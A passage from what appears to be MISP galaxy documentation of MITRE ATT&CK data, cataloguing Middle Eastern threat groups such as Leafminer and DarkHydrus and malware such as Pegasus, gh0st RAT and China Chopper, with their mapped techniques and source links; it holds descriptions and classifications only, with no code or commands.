uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="LaZagne - S0349" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1500" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"

Table 3056. Table References
Links
https://attack.mitre.org/groups/G0069
https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/
https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group
https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf
https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html

Leafminer - G0077

[Leafminer](https://attack.mitre.org/groups/G0077) is an Iranian threat group that has targeted government organizations and business entities in the Middle East since at least early 2017. (Citation: Symantec Leafminer July 2018)

The tag is: misp-galaxy:mitre-intrusion-set="Leafminer - G0077"

Leafminer - G0077 is also known as:

Leafminer
Raspite

Leafminer - G0077 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Redundant Access - T1108" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="LaZagne - S0349" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="MailSniper - S0413" with estimative-language:likelihood-probability="almost-certain"

Table 3057. Table References
Links
https://attack.mitre.org/groups/G0077
https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east
https://www.dragos.com/blog/20180802Raspite.html

DarkHydrus - G0079

[DarkHydrus](https://attack.mitre.org/groups/G0079) is a threat group that has targeted government agencies and educational institutions in the Middle East since at least 2016. The group heavily leverages open-source tools and custom payloads for carrying out attacks. (Citation: Unit 42 DarkHydrus July 2018) (Citation: Unit 42 Playbook Dec 2017)

The tag is: misp-galaxy:mitre-intrusion-set="DarkHydrus - G0079"

DarkHydrus - G0079 is also known as:

DarkHydrus

DarkHydrus - G0079 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="RogueRobin - S0270" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"

Table 3058. Table References
Links
https://attack.mitre.org/groups/G0079
https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/
https://pan-unit42.github.io/playbook_viewer/

Malware

Name of ATT&CK software.

Malware is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors: MITRE

Hacking Team UEFI Rootkit - S0047

[Hacking Team UEFI Rootkit](https://attack.mitre.org/software/S0047) is a rootkit developed by the company Hacking Team as a method of persistence for remote access software. (Citation: TrendMicro Hacking Team UEFI)

The tag is: misp-galaxy:mitre-malware="Hacking Team UEFI Rootkit - S0047"

Hacking Team UEFI Rootkit - S0047 is also known as:

Hacking Team UEFI Rootkit

Hacking Team UEFI Rootkit - S0047 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Firmware - T1019" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"

Table 3059. Table References
Links
https://attack.mitre.org/software/S0047
http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/

X-Agent for Android - S0314

[X-Agent for Android](https://attack.mitre.org/software/S0314) is Android malware that was placed in a repackaged version of a Ukrainian artillery targeting application. The malware reportedly retrieved general location data on where the victim device was used, and therefore could likely indicate the potential location of Ukrainian artillery. (Citation: CrowdStrike-Android) Is it tracked separately from the [CHOPSTICK](https://attack.mitre.org/software/S0023).

The tag is: misp-galaxy:mitre-malware="X-Agent for Android - S0314"

X-Agent for Android - S0314 is also known as:

X-Agent for Android

X-Agent for Android - S0314 has relationships with:

similar: misp-galaxy:tool="CHOPSTICK" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="X-Agent" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="X-Agent (Android)" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"

Table 3060. Table References
Links
https://attack.mitre.org/software/S0314
https://www.crowdstrike.com/wp-content/brochures/FancyBearTracksUkrainianArtillery.pdf

Exaramel for Linux - S0401

[Exaramel for Linux](https://attack.mitre.org/software/S0401) is a backdoor written in the Go Programming Language and compiled as a 64-bit ELF binary. The Windows version is tracked separately under [Exaramel for Windows](https://attack.mitre.org/software/S0343).(Citation: ESET TeleBots Oct 2018)

The tag is: misp-galaxy:mitre-malware="Exaramel for Linux - S0401"

Exaramel for Linux - S0401 is also known as:

Exaramel for Linux

Exaramel for Linux - S0401 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Systemd Service - T1501" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Local Job Scheduling - T1168" with estimative-language:likelihood-probability="almost-certain"

Table 3061. Table References
Links
https://attack.mitre.org/software/S0401
https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/

Pegasus for Android - S0316

[Pegasus for Android](https://attack.mitre.org/software/S0316) is the Android version of malware that has reportedly been linked to the NSO Group. (Citation: Lookout-PegasusAndroid) (Citation: Google-Chrysaor) The iOS version is tracked separately under [Pegasus for iOS](https://attack.mitre.org/software/S0289).

The tag is: misp-galaxy:mitre-malware="Pegasus for Android - S0316"

Pegasus for Android - S0316 is also known as:

Pegasus for Android
Chrysaor

Pegasus for Android - S0316 has relationships with:

similar: misp-galaxy:tool="Chrysaor" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Chrysaor" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Calendar Entries - T1435" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="App Auto-Start at Device Boot - T1402" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"

Table 3062. Table References
Links
https://attack.mitre.org/software/S0316
https://blog.lookout.com/blog/2017/04/03/pegasus-android/
https://android-developers.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html

Pegasus for iOS - S0289

[Pegasus for iOS](https://attack.mitre.org/software/S0289) is the iOS version of malware that has reportedly been linked to the NSO Group. It has been advertised and sold to target high-value victims. (Citation: Lookout-Pegasus) (Citation: PegasusCitizenLab) The Android version is tracked separately under [Pegasus for Android](https://attack.mitre.org/software/S0316).

The tag is: misp-galaxy:mitre-malware="Pegasus for iOS - S0289"

Pegasus for iOS - S0289 is also known as:

Pegasus for iOS

Pegasus for iOS - S0289 has relationships with:

similar: misp-galaxy:tool="Chrysaor" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Chrysaor" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Exploit via Radio Interfaces - T1477" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1456" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"

Table 3063. Table References
Links
https://attack.mitre.org/software/S0289
https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-technical-analysis.pdf
https://citizenlab.org/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/

Exaramel for Windows - S0343

[Exaramel for Windows](https://attack.mitre.org/software/S0343) is a backdoor used for targeting Windows systems. The Linux version is tracked separately under [Exaramel for Linux](https://attack.mitre.org/software/S0401).(Citation: ESET TeleBots Oct 2018)

The tag is: misp-galaxy:mitre-malware="Exaramel for Windows - S0343"

Exaramel for Windows - S0343 is also known as:

Exaramel for Windows

Exaramel for Windows - S0343 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"

Table 3064. Table References
Links
https://attack.mitre.org/software/S0343
https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/

gh0st RAT - S0032

[gh0st RAT](https://attack.mitre.org/software/S0032) is a remote access tool (RAT). The source code is public and it has been used by multiple groups. (Citation: FireEye Hacking Team)(Citation: Arbor Musical Chairs Feb 2018)(Citation: Nccgroup Gh0st April 2018)

The tag is: misp-galaxy:mitre-malware="gh0st RAT - S0032"

gh0st RAT - S0032 is also known as:

gh0st RAT

gh0st RAT - S0032 has relationships with:

similar: misp-galaxy:tool="gh0st" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"

Table 3065. Table References
Links
https://attack.mitre.org/software/S0032
https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html
https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/
https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/decoding-network-data-from-a-gh0st-rat-variant/

China Chopper - S0020

[China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1100) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)

The tag is: misp-galaxy:mitre-malware="China Chopper - S0020"

China Chopper - S0020 is also known as:

China Chopper

China Chopper - S0020 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"

Table 3066. Table References
Links
https://attack.mitre.org/software/S0020
https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

Skeleton Key - S0007

[Skeleton Key](https://attack.mitre.org/software/S0007) is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password. (Citation: Dell Skeleton) Functionality similar to [Skeleton Key](https://attack.mitre.org/software/S0007) is included as a module in [Mimikatz](https://attack.mitre.org/software/S0002).

The tag is: misp-galaxy:mitre-malware="Skeleton Key - S0007"

Skeleton Key - S0007 is also known as:

Skeleton Key

Skeleton Key - S0007 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 3067. Table References
Links
https://attack.mitre.org/software/S0007
https://www.secureworks.com/research/skeleton-key-malware-analysis

P2P ZeuS - S0016

[P2P ZeuS](https://attack.mitre.org/software/S0016) is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture. (Citation: Dell P2P ZeuS)

The tag is: misp-galaxy:mitre-malware="P2P ZeuS - S0016"

P2P ZeuS - S0016 is also known as:

P2P ZeuS
Peer-to-Peer ZeuS
Gameover ZeuS

P2P ZeuS - S0016 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"

Table 3068. Table References
Links
https://attack.mitre.org/software/S0016
http://www.secureworks.com/cyber-threat-intelligence/threats/The_Lifecycle_of_Peer_to_Peer_Gameover_ZeuS/

Unknown Logger - S0130

[Unknown Logger](https://attack.mitre.org/software/S0130) is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign. (Citation: Forcepoint Monsoon)

The tag is: misp-galaxy:mitre-malware="Unknown Logger - S0130"

Unknown Logger - S0130 is also known as:

Unknown Logger

Unknown Logger - S0130 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"

Table 3069. Table References
Links
https://attack.mitre.org/software/S0130
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf

Cherry Picker - S0107

[Cherry Picker](https://attack.mitre.org/software/S0107) is a point of sale (PoS) memory scraper. (Citation: Trustwave Cherry Picker)

The tag is: misp-galaxy:mitre-malware="Cherry Picker - S0107"

Cherry Picker - S0107 is also known as:

Cherry Picker

Cherry Picker - S0107 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1103" with estimative-language:likelihood-probability="almost-certain"

Table 3070. Table References
Links
https://attack.mitre.org/software/S0107
https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/

Zeus Panda - S0330

[Zeus Panda](https://attack.mitre.org/software/S0330) is a Trojan designed to steal banking information and other sensitive credentials for exfiltration. [Zeus Panda](https://attack.mitre.org/software/S0330)’s original source code was leaked in 2011, allowing threat actors to use its source code as a basis for new malware variants. It is mainly used to target Windows operating systems ranging from Windows XP through Windows 10.(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)

The tag is: misp-galaxy:mitre-malware="Zeus Panda - S0330"

Zeus Panda - S0330 is also known as:

Zeus Panda

Zeus Panda - S0330 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hooking - T1179" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

Table 3071. Table References
Links
https://attack.mitre.org/software/S0330
https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More
https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf

SpyNote RAT - S0305

[SpyNote RAT](https://attack.mitre.org/software/S0305) (Remote Access Trojan) is a family of malicious Android apps. The [SpyNote RAT](https://attack.mitre.org/software/S0305) builder tool can be used to develop malicious apps with the malware’s functionality. (Citation: Zscaler-SpyNote)

The tag is: misp-galaxy:mitre-malware="SpyNote RAT - S0305"

SpyNote RAT - S0305 is also known as:

SpyNote RAT

SpyNote RAT - S0305 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="App Auto-Start at Device Boot - T1402" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"

Table 3072. Table References
Links
https://attack.mitre.org/software/S0305
https://www.zscaler.com/blogs/research/spynote-rat-posing-netflix-app

3PARA RAT - S0066

[3PARA RAT](https://attack.mitre.org/software/S0066) is a remote access tool (RAT) programmed in C++ that has been used by [Putter Panda](https://attack.mitre.org/groups/G0024). (Citation: CrowdStrike Putter Panda)

The tag is: misp-galaxy:mitre-malware="3PARA RAT - S0066"

3PARA RAT - S0066 is also known as:

3PARA RAT

3PARA RAT - S0066 has relationships with:

similar: misp-galaxy:rat="3PARA RAT" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Redundant Access - T1108" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"

Table 3073. Table References
Links
https://attack.mitre.org/software/S0066
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf

4H RAT - S0065

[4H RAT](https://attack.mitre.org/software/S0065) is malware that has been used by [Putter Panda](https://attack.mitre.org/groups/G0024) since at least 2007. (Citation: CrowdStrike Putter Panda)

The tag is: misp-galaxy:mitre-malware="4H RAT - S0065"

4H RAT - S0065 is also known as:

4H RAT

4H RAT - S0065 has relationships with:

similar: misp-galaxy:rat="4H RAT" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 3074. Table References
Links
https://attack.mitre.org/software/S0065
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf

Net Crawler - S0056

